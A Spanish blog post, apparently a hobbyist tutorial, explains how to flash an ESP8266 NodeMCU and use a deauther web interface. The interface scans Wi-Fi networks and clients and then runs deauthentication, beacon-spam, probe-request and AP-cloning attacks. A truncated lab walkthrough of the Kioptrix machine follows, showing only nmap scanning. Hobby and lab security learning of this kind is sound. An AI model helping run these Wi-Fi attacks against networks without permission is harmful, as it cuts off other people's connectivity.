Todo empezó hace unos meses gracias a una <a href="http://www.1024megas.com/2017/04/wifi-jammer-por-5.html" target="_blank">genial entrada</a> del amigo <a href="https://twitter.com/Dormidera" target="_blank">@Dormidera</a> que siempre me pica con todo lo que publica en su blog (os lo recomiendo!!) y en esta ocasión me descubría un nuevo "gadget", un nuevo concepto (el de Jammer) y sobre todo un plan entretenido para el puente de Semana Santa!<br />
<br />
<h3>
¿Un Jammer?</h3>
Los <b>jammer </b>son "maquinitas" que bloquean o interfieren las señales fundamentalmente inalámbricas de teléfonos móviles, Bluetooth, WiFi y GPS entre otras. Yo desde mi ignorancia me atrevería a catalogarlos como una especie de inhibidores.<br />
<br />
Existen dos tipos de ataques de interferencia o jamming que pueden ser utilizados para dificultar la comunicación de datos desde un receptor. El primer tipo es el denominado spot, el cual va direccionado a interferir una frecuencia específica, mientras que cuando se trata de afectar varios canales simultáneamente estamos frente a una interferencia del tipo barrage.<br /><div><div><br />
Además hay que resaltar que quienes son víctimas de estos ataques son los clientes que no se pueden conectar a la red, en cualquier caso el AP seguirá operando normalmente y solamente podrán conectarse con algo de suerte aquellos que estén lo suficientemente cerca del dispositivo emisor.</div><div><br /></div><div>Lo que vamos a usar aquí se asemeja al segundo tipo mencionado barrage, aunque en el párrafo introductorio lo he entrecomillado porque nosotros vamos a simular un "jammeo" valiéndonos de un ataque de de-autenticación WiFi para desconectar (e impedir su reconexión) a uno, varios o todos los clientes de punto de acceso WiFi pero no es un jammer físico en formato hardware como tal.<br /></div>
<div>
<br />
<h3>
El gadget de 5€</h3>
<div>
Para este proyecto necesitaremos aprovisionarnos de un <b>NodeMCU ESP8266</b>, que se trata de <span face="" style="background-color: white; font-family: arial, serif; font-size: 14.3px;">un kit </span>de desarrollo de código abierto, basado en el <a href="https://es.wikipedia.org/wiki/ESP8266">chip ESP8266 modelo ESP-12</a> para proyectos que necesiten conectividad Wifi. Si queréis mas información sobre ello y sus posibilidades os dejo <a href="http://nodemcu.com/index_en.html" target="_blank">este enlace</a>, tiene muchas posibilidades el cacharrito!</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkUvmcuHJ7D4jRatQO4ifPrIuEzSKvsQxWYyvoA_FI_GMamZ3T7FVTcUggCE2gKw45fw8qFKX7ingFNEqAUkc8lYw75C5Fq9i6AcKqRJ-ku6ZuVOHD_7V3V7_2fdwH8OcXlzYtV56Q0cc/s1600/07-06-2017+11-54-17.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="582" data-original-width="938" height="198" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkUvmcuHJ7D4jRatQO4ifPrIuEzSKvsQxWYyvoA_FI_GMamZ3T7FVTcUggCE2gKw45fw8qFKX7ingFNEqAUkc8lYw75C5Fq9i6AcKqRJ-ku6ZuVOHD_7V3V7_2fdwH8OcXlzYtV56Q0cc/s320/07-06-2017+11-54-17.png" width="320" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGlEXIE_hfPPWM_RkXm0H4uDRFtzXzu8ZPiWerZgsUVylEcYtQE5OHerUDtaeLJX1fI4G5J518Le_k6KWj-MvkdxbJB8Q6oo7EUk774Fw7UynxcBb0g9t8ALSsezHT1pWfXmpwovYr0yo/s1600/IMG_7241.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1200" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGlEXIE_hfPPWM_RkXm0H4uDRFtzXzu8ZPiWerZgsUVylEcYtQE5OHerUDtaeLJX1fI4G5J518Le_k6KWj-MvkdxbJB8Q6oo7EUk774Fw7UynxcBb0g9t8ALSsezHT1pWfXmpwovYr0yo/s200/IMG_7241.JPG" width="150" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqmUxVLXYRhVISavt8eHjCmhaS1Cc_oeSAuRqVQFpUuXrUoqN-wSDpiui7YI-ysx-zEe0C0mZWBCSfjRYwBkwfC9QheVBK0CIuURV_Kk7PVlbB686r8WLG3NoC3ZzH7Jjty4uA4UnHA-o/s1600/IMG_7242.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="758" data-original-width="1011" height="238" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqmUxVLXYRhVISavt8eHjCmhaS1Cc_oeSAuRqVQFpUuXrUoqN-wSDpiui7YI-ysx-zEe0C0mZWBCSfjRYwBkwfC9QheVBK0CIuURV_Kk7PVlbB686r8WLG3NoC3ZzH7Jjty4uA4UnHA-o/s320/IMG_7242.JPG" width="320" /></a></div>
<div>
<br /></div>
<div>
En lo que a especificaciones técnicas se refiere, nos encontramos con las siguientes</div>
<div>
<ul style="background-color: white; font-family: arial, serif; font-size: 14.3px;">
<li>CPU RISC de 32-bit: Tensilica Xtensa LX106 a un reloj de 80 MHz</li>
<li>RAM de instrucción de 64 KB, RAM de datos de 96 KB</li>
<li>Capacidad de memoria externa flash QSPI - 512 KB a 4 MB (puede soportar hasta 16 MB)</li>
<li>IEEE 802.11 b/g/n Wi-Fi</li>
<li>Tiene integrados: TR switch, balun, LNA, amplificador de potencia de RF y una red de adaptación de impedancias</li>
<li>Soporte de autenticación WEP y WPA/WPA2</li>
<li>16 pines GPIO (Entradas/Salidas de propósito general)</li>
<li>Interfaz I²S con DMA (comparte pines con GPIO)</li>
<li>Pines dedicados a UART, mas una UART únicamente para transmisión que puede habilitarse a través del pin GPIO2</li>
<li>1 conversor ADC de 10-bit</li>
</ul>
</div>
<div>
<br /></div>
<div>
Podemos encontrarlo desde 5 a 8 euros aproximadamente dependiendo de donde queramos comprarlo y sobretodo de la prisa que tengamos en recibirlo (Amazon o eBay) e incluso a precios mas bajos en webs de china si tenemos aun menos prisa en recibirlo.</div>
<div>
<br /></div>
<h3>
Flasheando el Firmware del NodeMCU en Linux!</h3>
</div>
<div>
En primer lugar necesitamos descargarnos el firmware más actualizado <a href="https://github.com/nodemcu/nodemcu-firmware/releases/tag/0.9.6-dev_20150704" target="_blank">desde aquí</a>, y más concretamente necesitaremos descargar el de 1MB que es el que se ajusta a nuestro modelo de NodeMCU concreto (no descarguemos el de 4MB que la liamos!!)</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiK3dryYwIVhbDyXcIaPKtYkIZSX9KgDEK41gICA_F4JVlN1FJ0nJNYKCWiEikvUawcnt1AL8tlsEx0lvOD5Ut75FSuDPzMjKDZhR6WXiOZCJ8wtcV3JjGzW_fzwSaTsjF6JfV79kRB7eU/s1600/07-06-2017+8-07-01.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="888" data-original-width="1000" height="353" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiK3dryYwIVhbDyXcIaPKtYkIZSX9KgDEK41gICA_F4JVlN1FJ0nJNYKCWiEikvUawcnt1AL8tlsEx0lvOD5Ut75FSuDPzMjKDZhR6WXiOZCJ8wtcV3JjGzW_fzwSaTsjF6JfV79kRB7eU/s400/07-06-2017+8-07-01.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div>
En segundo lugar necesitamos hacernos con algún software que nos permita realizar el flasheo desde nuestro entorno Linux, en mi caso he decidido utilizar <b>esptool</b> que es una herramienta sencilla que permite flashear cualquier firmware en ESP8266 (no solo el NodeMCU). Podéis descargarlo desde <a href="https://github.com/espressif/esptool" target="_blank">su repositorio en GitHub</a> y debéis tener en cuenta que <i>necesitaréis Python 2.7 o Python 3.4</i> o superior instalado en el sistema.</div>
<div>
<br /></div>
<div>
Una vez descargado y todo listo abrimos una terminal y nos movemos hasta la carpeta donde hemos descargado/clonado esptool y procedemos a utilizar la sentencia adecuada para flashear del firmware una vez situados en la ruta en la que hayamos descomprimido la herramienta</div>
<div>
<br /></div>
<div>
<div style="text-align: left;">
<span face="" style="font-family: "courier new", courier, monospace;"><b style="background-color: white;">sudo python esptool.py --port /dev/ttyUSB0 write_flash 0x00000 /la_ruta_completa/_donde_está_el/_firmware_descargado.bin</b></span></div>
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiF-tw44KHZN_petqC0mKe_eUS3xMj_ZMlCOkF9ycYHar6PsJgg2N3EWSVyN1QWJSw2vjq5s0obb0ymrjYJzY36jSfQ-4xVrRYLVz4bZLEM2xQy2QIH0JLFe4jIRYPP5V2Kq_yaa7bZDzc/s1600/Selecci%25C3%25B3n_009.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="121" data-original-width="644" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiF-tw44KHZN_petqC0mKe_eUS3xMj_ZMlCOkF9ycYHar6PsJgg2N3EWSVyN1QWJSw2vjq5s0obb0ymrjYJzY36jSfQ-4xVrRYLVz4bZLEM2xQy2QIH0JLFe4jIRYPP5V2Kq_yaa7bZDzc/s1600/Selecci%25C3%25B3n_009.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<table cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivmhznrzeH4787dh-JiO6YJeUOOt7iU_EfOFQdsZYnfGs9xRTqx8SE3xRRFh4TC3nXaPDjeZW4PyVTHHkJM1GrcMelLHgf_pgTEKMIVePkki_wNJDZGYjPC0b1HAPTZDZfPn7HGE64yA8/s1600/Selecci%25C3%25B3n_010.png" style="clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;"><img border="0" data-original-height="245" data-original-width="642" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivmhznrzeH4787dh-JiO6YJeUOOt7iU_EfOFQdsZYnfGs9xRTqx8SE3xRRFh4TC3nXaPDjeZW4PyVTHHkJM1GrcMelLHgf_pgTEKMIVePkki_wNJDZGYjPC0b1HAPTZDZfPn7HGE64yA8/s1600/Selecci%25C3%25B3n_010.png" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: left;"><span style="font-size: xx-small;">T<span style="text-align: start;">ened en cuenta que la ruta física del NodeCMU no tiene por que ser necesariamente /dev/ttyUSB0 como en mi caso; si os arroja algún error relacionado con --port comprobad cual es la ruta física asignada a vuestro dispositivo por el sistema</span></span></td></tr>
</tbody></table>
<br />
Si todo va bien observaremos como va trabajando y progresando en el porcentaje de escritura hasta completar el 100 para finalmente verificar los datos y reiniciar el dispositivo<br />
<div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiba7V8DuK_B8yatVLcC7I59ZMrY5Smll9ZWO-QT_BcQLEBH1_upBIdibVRgF75_CmmCwprpHcvmQfd3sjhATQMOtO6frT7bB-6_U5s8ZR3HutrlYYxJN3-ZQ8S6qmmbWXDniZ5xmXXLc8/s1600/Selecci%25C3%25B3n_011.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="109" data-original-width="643" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiba7V8DuK_B8yatVLcC7I59ZMrY5Smll9ZWO-QT_BcQLEBH1_upBIdibVRgF75_CmmCwprpHcvmQfd3sjhATQMOtO6frT7bB-6_U5s8ZR3HutrlYYxJN3-ZQ8S6qmmbWXDniZ5xmXXLc8/s1600/Selecci%25C3%25B3n_011.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
<h3>
Jugando con nuestro Jammer ya operativo</h3>
<div>
Una vez ya flasheado el firmware deberemos de alimentar nuestro NodeCMU conectándolo a cualquier transformador, powerbank, puerto USB, smarthpone, etc... en unos segundo estará operativo y podemos empezar a jugar con ello.</div>
<div>
<br /></div>
<div>
Desde nuestro ordenador/smartphone/tablet realizaremos un escaneo de redes WiFi dentro del alcance y observaremos que aparece una nueva llamada <b>pwned</b>, ese es nuestro jammer!!<br />
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyfGKpv_rYmCf9034CsYLMdCN3uCReVTvQEoEciLiKA_8pFcR7u1KTPS5wzG2WpW3ykILDzn471DJ3pUrxp9MH2EnYgHpQUjoGQZlHXTvA-Fu6DqRi2IqSzXaPgevlaDiENaODnjg0L8E/s1600/Men%25C3%25BA_013.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="437" data-original-width="351" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyfGKpv_rYmCf9034CsYLMdCN3uCReVTvQEoEciLiKA_8pFcR7u1KTPS5wzG2WpW3ykILDzn471DJ3pUrxp9MH2EnYgHpQUjoGQZlHXTvA-Fu6DqRi2IqSzXaPgevlaDiENaODnjg0L8E/s1600/Men%25C3%25BA_013.png" /></a></div>
<div>
<br /></div>
<div>
Nos conectamos a él utilizando la contraseña "deauther"<br />
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1uoCBx8FZQnHPvJXRwHaII7VWaDsiUgsUUvD_qIk4Go3gGGV5MGo_-CZAtzl74zWQCOXUasW3aaAnXW2hSVS35ZVYg2QN24YAaab5y_W3S8rrj8Vw4ytgMgCTLhXN85Kw7_5pUIJ922M/s1600/Selecci%25C3%25B3n_014.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="243" data-original-width="481" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1uoCBx8FZQnHPvJXRwHaII7VWaDsiUgsUUvD_qIk4Go3gGGV5MGo_-CZAtzl74zWQCOXUasW3aaAnXW2hSVS35ZVYg2QN24YAaab5y_W3S8rrj8Vw4ytgMgCTLhXN85Kw7_5pUIJ922M/s1600/Selecci%25C3%25B3n_014.png" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibjtrRDG_SV2_EsjY3dLBdNdc95gLIaDAifnm6tnymVBGlCnYfRQlDt5BjRZlAkgglj6LsA_cO45XoBJhmBPyqaqpGor3q9fLfQq518Xu22mXMSfjWwpk61rRK9qwK81TIY9Z7P-2XvMs/s1600/Selecci%25C3%25B3n_015.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="127" data-original-width="408" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibjtrRDG_SV2_EsjY3dLBdNdc95gLIaDAifnm6tnymVBGlCnYfRQlDt5BjRZlAkgglj6LsA_cO45XoBJhmBPyqaqpGor3q9fLfQq518Xu22mXMSfjWwpk61rRK9qwK81TIY9Z7P-2XvMs/s1600/Selecci%25C3%25B3n_015.png" /></a></div>
<div style="text-align: center;">
<br /></div>
<div>
<br /></div>
<div>
Una vez establecida la conexión abrimos el navegador web y vamos a la dirección 192.168.4.1. Lo primero que nos encontraremos es un mensaje de bienvenida donde se nos advierte de lo que este software puede llegar a hacer y de que solo debemos usarlo con nuestra red y nuestros dispositivos; como ya todos sabemos pero nunca esta de más dejarlo claro: la utilización de este software contra otras redes y dispositivos si no tenemos permiso explicito incurriría en la ilegalidad.<br />
Pinchamos en el botón inferior confirmando la lectura y comprensión del escrito y accedemos al interface principal del proyecto.<br />
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEaUxSq99gWYpLZF6AEnYlNcygLRf1zAYSSkGqkqfDhCLWOsuadERpIwVQWiQ6yAWfUDt3W9cGEEoBJB5FPqg72WdEhy-K3Mux6zlWJXPI9EiD6R9BV0l5zSX2o-lJ9XZLBPiRjgS7XMQ/s1600/Selecci%25C3%25B3n_016.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="662" data-original-width="757" height="349" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEaUxSq99gWYpLZF6AEnYlNcygLRf1zAYSSkGqkqfDhCLWOsuadERpIwVQWiQ6yAWfUDt3W9cGEEoBJB5FPqg72WdEhy-K3Mux6zlWJXPI9EiD6R9BV0l5zSX2o-lJ9XZLBPiRjgS7XMQ/s400/Selecci%25C3%25B3n_016.png" width="400" /></a></div>
<div style="text-align: center;">
<br /></div>
<div>
Una vez dentro observamos que la interface es muy limpia e intuitiva, con unas secciones superiores muy claras que podemos ir recorriendo y ver en mas detalle:</div>
<div>
<br /></div>
<div>
<h4>
APs</h4>
<div>
Usando el botón SCAN nos permite escanear el espectro de radio en busca de Punto De Acceso WiFi dentro de nuestro alcance mostrándonos el canal de emisión, el SSiD, el nivel de potencia/intensidad, el tipo de encriptación.<br />
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9CUQakD1HeGY4qHblbEjYmEIaJ3jdxI5eaytRlYiOJpkYFU74ZA8HW7YBseCrO1z7inA6pyxdwKvFJWiYTKqD9Lovv4QZRMd7TMuWKAQnDc6-u1xdiGgBXHRfaB3IkdmaCHDb-LuPCzQ/s1600/IMG_7246.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1258" data-original-width="757" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9CUQakD1HeGY4qHblbEjYmEIaJ3jdxI5eaytRlYiOJpkYFU74ZA8HW7YBseCrO1z7inA6pyxdwKvFJWiYTKqD9Lovv4QZRMd7TMuWKAQnDc6-u1xdiGgBXHRfaB3IkdmaCHDb-LuPCzQ/s400/IMG_7246.PNG" width="240" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div>
Observaremos que la última columna nos permite "Seleccionar" una de esas redes para trabajar sobre ella mas adelante cuando avancemos a la siguiente pestaña...</div>
<div>
<br /></div>
<h4>
STATIONS</h4>
<div>
En esta pestaña podremos examinar los clientes que tiene conectados a él el punto de acceso que hayamos seleccionado previamente en la pestaña APs que acabamos de ver en el punto anterior.<br />
Ajustamos el tiempo en segundos que queremos que dure el escaneo (por defecto ya viene aocnfigurado a 15 segundos) y pinchamos sobre el botón <b>START </b><br />
<b><br /></b></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeXGlaljSFK-OKA2lDJgwup5nrNL-r444byRWhvn4aMZ7l7DOHN6UH9Uv-_oc5DgeUyxsxuN6XjjYbOYezngL_5Qww545ihubugHqQDEu8bqxkLpEnx0SN-_4il7pp9zv-HtCJrNCkEsg/s1600/IMG_7248.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1303" data-original-width="756" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeXGlaljSFK-OKA2lDJgwup5nrNL-r444byRWhvn4aMZ7l7DOHN6UH9Uv-_oc5DgeUyxsxuN6XjjYbOYezngL_5Qww545ihubugHqQDEu8bqxkLpEnx0SN-_4il7pp9zv-HtCJrNCkEsg/s400/IMG_7248.PNG" width="231" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Después de esperar el tiempo ajustado (en el que veremos que nos hemos desconectado y reconectado a la red WiFi de nuestro jammer) deberemos recargar la página y en la mitad de la pantalla vermeos un listado de cleintes que estan conectados y asociados al AP seleccionado.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8ZhF7SE6_NtMVtrcBebFM58rW_cYHIwVPcSD2BF6GHJwS8J-7rZJqkbB1g27PEfh9HKq-VFNiJPMw-MiUdzi0VKLh06KyrkusD_AY0hTwcZz50TIqx5R9PlBM70Ssi0m8ze_0w01KxRE/s1600/IMG_7249_03214.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="340" data-original-width="1214" height="111" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8ZhF7SE6_NtMVtrcBebFM58rW_cYHIwVPcSD2BF6GHJwS8J-7rZJqkbB1g27PEfh9HKq-VFNiJPMw-MiUdzi0VKLh06KyrkusD_AY0hTwcZz50TIqx5R9PlBM70Ssi0m8ze_0w01KxRE/s400/IMG_7249_03214.PNG" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Al igual que hicimos en la primera pestaña, en esta ocasión podremos seleccionar aquellos clientes concretos (o todos) que deseemos someter a los ataques disponibles en la siguiente pestaña...</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<h4 style="clear: both; text-align: left;">
ATTACKS</h4>
</div>
<div>
En esta pestaña veremos todas las opciones que nos ofrece nuestro proyecto para el ataque una vez fijado el AP objetivos y los clientes conectados objetivo:<br />
Podremos clonar y suplantar el AP para "secuestrar" los clientes, o bien realizar ataques dirigidos a los clientes pudiendo elegir entre ataques de desautenticacion, ataques Beacon Frame (spamea con paquetes Beacon el SSID de la red<span face="" style="background-color: white; font-family: arial, serif; font-size: 14.3px;">)</span> y ataque Probe-Request<br />
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi083T_ZmQdqQYGV2rezki7nF70nec0YF8PpnRvQvRJ7yyUsXOT_cosiomKYpqld8fZbllvwQi3esaBPV_37oISPIUF9UPvTaGeZiAoPnBCK86zYvGgBli1xrdMkTRWwBgKByH-i4kyijo/s1600/IMG_7250.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1305" data-original-width="757" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi083T_ZmQdqQYGV2rezki7nF70nec0YF8PpnRvQvRJ7yyUsXOT_cosiomKYpqld8fZbllvwQi3esaBPV_37oISPIUF9UPvTaGeZiAoPnBCK86zYvGgBli1xrdMkTRWwBgKByH-i4kyijo/s400/IMG_7250.PNG" width="231" /></a></div>
<div style="text-align: center;">
<br /></div>
<div>
<div>
En la columna derecha podremos poner en marcha los ataques y pararlos cuando consideremos oportuno, igualmente si hacemos scroll hacia abajo nos puede mostrar, por ejemplo, los paquetes beacon aleatorios que genera por si mismo para realizar el Beacon Frame Attack.<br />
A partir de este momento ya solo es cuestión de enfocar nuestro ataque e ir investigando como nuestra red y nuestros clientes se van viendo afectados</div>
<div>
<br /></div>
<div>
<br /></div>
<h4>
SETTINGS</h4>
<div>
Es un sencillo apartado de configuración del proyecto, dentro podemos cambiar el nombre del SSiD que levanta el proyecto, asi como la clave de acceso e incluso el canal en el que queremos levantarlo.<br />
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyNFuMC922_KB5lZpWG-JUWzOWqEYOrw3rQWmoeqEajwI8JTfBROxJhuzBud_MVXgcLD644RT12jUpHzr1npR6sivvs5kKSOU2IWtc6a6QNcn7lapQq-QrpFKoIO-ObNakl8s7cxosFbc/s1600/IMG_7253.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1122" data-original-width="756" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyNFuMC922_KB5lZpWG-JUWzOWqEYOrw3rQWmoeqEajwI8JTfBROxJhuzBud_MVXgcLD644RT12jUpHzr1npR6sivvs5kKSOU2IWtc6a6QNcn7lapQq-QrpFKoIO-ObNakl8s7cxosFbc/s400/IMG_7253.PNG" width="268" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
Espero que la entrada nos se os haya hecho demasiado pesada y sobre todo que haya sido de vuestro interés. A mi me pareció un proyecto sencillo y muy fácil pero no por ello menos interesante!! Desde que lo tengo me acompaña a todas partes con el resto de gadgets que llevo en la mochila!!</div>
<div>
<br /></div>
<div>
Saludos!!!!!!!!</div>
<div>
<br /></div>
<div>
<br /></div>
</div>
</div>
</div>Hacker de Cabecerahttp://www.blogger.com/profile/04109447777461913594noreply@blogger.com8tag:blogger.com,1999:blog-7944950214559293430.post-40136508469385463492017-05-25T15:28:00.003+02:002017-05-26T08:26:17.394+02:00Walkthrough - Máquina Vulnerable KIOPTRIX lvl 1.3 -<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgajLfXt5oh6xeD1b7q6DqWqlMK0vIkj9oRHGS6cz-YOM0vQZjOISAOJKHCavNAPQmrAaEFYqX-7F_tdfCG9NuKQmSCh71HvREcAJ7kLP4l561_LNNmMvo2BDV9xUIUgNXJmBUWthKF_n0/s1600/kioptrix.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="130" data-original-width="199" height="130" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgajLfXt5oh6xeD1b7q6DqWqlMK0vIkj9oRHGS6cz-YOM0vQZjOISAOJKHCavNAPQmrAaEFYqX-7F_tdfCG9NuKQmSCh71HvREcAJ7kLP4l561_LNNmMvo2BDV9xUIUgNXJmBUWthKF_n0/s200/kioptrix.png" width="200" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
Continuamos las entradas del blog aprovechando algunas de mis prácticas que realicé recientemente para una curso de seguridad y hacking ético.</div>
<a name='more'></a><br />
En este caso concreto se trata de una de las máquina vulnerable Kioptrix, más concretamente al cuarto nivel, y antes de nada decir al igual que en las anteriores que no hay un "único camino bueno" y este es solo uno de los muchos que puedes seguir; pero siempre hay mas de un modo de "jugar" con estas máquina y sus vulnerabilidades...<br />
<div class="MsoNormal">
</div>
<br />
<div style="-webkit-text-stroke-width: 0px; color: black; font-family: "Times New Roman"; font-size: medium; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: normal; letter-spacing: normal; margin: 0px; orphans: 2; text-align: start; text-decoration-color: initial; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;">
Manos a la obra!! Una vez descargada la máquina virtual desde su propia web y arrancada la misma nos ponemos al lio!</div>
<div style="-webkit-text-stroke-width: 0px; color: black; font-family: "Times New Roman"; font-size: medium; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: normal; letter-spacing: normal; margin: 0px; orphans: 2; text-align: start; text-decoration-color: initial; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;">
<br /></div>
<div class="MsoNormal">
Como siempre hacemos, analizamos en primera instancia con <b>nMap </b>los servicios y
versiones que ofrece la máquina, obteniendo como resultado que se trata de OS
Linux<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1m271Ct2Ki0TDLBHfu_hOalEw1R3BciaQTSyLzu6OropUd9kUR8JdrE5zlnWq0Yf5uQ5qK6VvTJAhv7iFrllST0q6EaYxjDIG4ilkQGLMIPiRCiF62_h8C0NiLzOIMXStbfLlyOsUdiQ/s1600/25-05-2017+14-46-48.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="213" data-original-width="488" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1m271Ct2Ki0TDLBHfu_hOalEw1R3BciaQTSyLzu6OropUd9kUR8JdrE5zlnWq0Yf5uQ5qK6VvTJAhv7iFrllST0q6EaYxjDIG4ilkQGLMIPiRCiF62_h8C0NiLzOIMXStbfLlyOsUdiQ/s1600/25-05-2017+14-46-48.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div align="center" class="MsoNormal" style="text-align: center;">
<br /></div>
<div class="MsoNormal">
Lanzamos un segundo escaneo más completo con <b>nMap </b>para obtener más
información sobre las versiones de los servicios que están corriendo en la
máquina.</div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_proK0OapwMyAtcQetb_upd1g-hyTviLTO0E_-INJqaTNshwleoFxX87pRFcJ3w2CjNnCJjghOs7UjQRGdBmJLFjyZY72MNrg4hzP5D-ksISWf9RJJ5TFf1SZbKy8gpcPoyex9uPaApY/s1600/25-05-2017+14-47-12.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="214" data-original-width="468" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_proK0OapwMyAtcQetb_upd1g-hyTviLTO0E_-INJqaTNshwleoFxX87pRFcJ3w2CjNnCJjghOs7UjQRGdBmJLFjyZY72MNrg4hzP5D-ksISWf9RJJ5TFf1SZbKy8gpcPoyex9uPaApY/s1600/25-05-2017+14-47-12.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Lanzamos un tercer escaneo con un script (<b>smb-enum-users</b>)que me ofrece
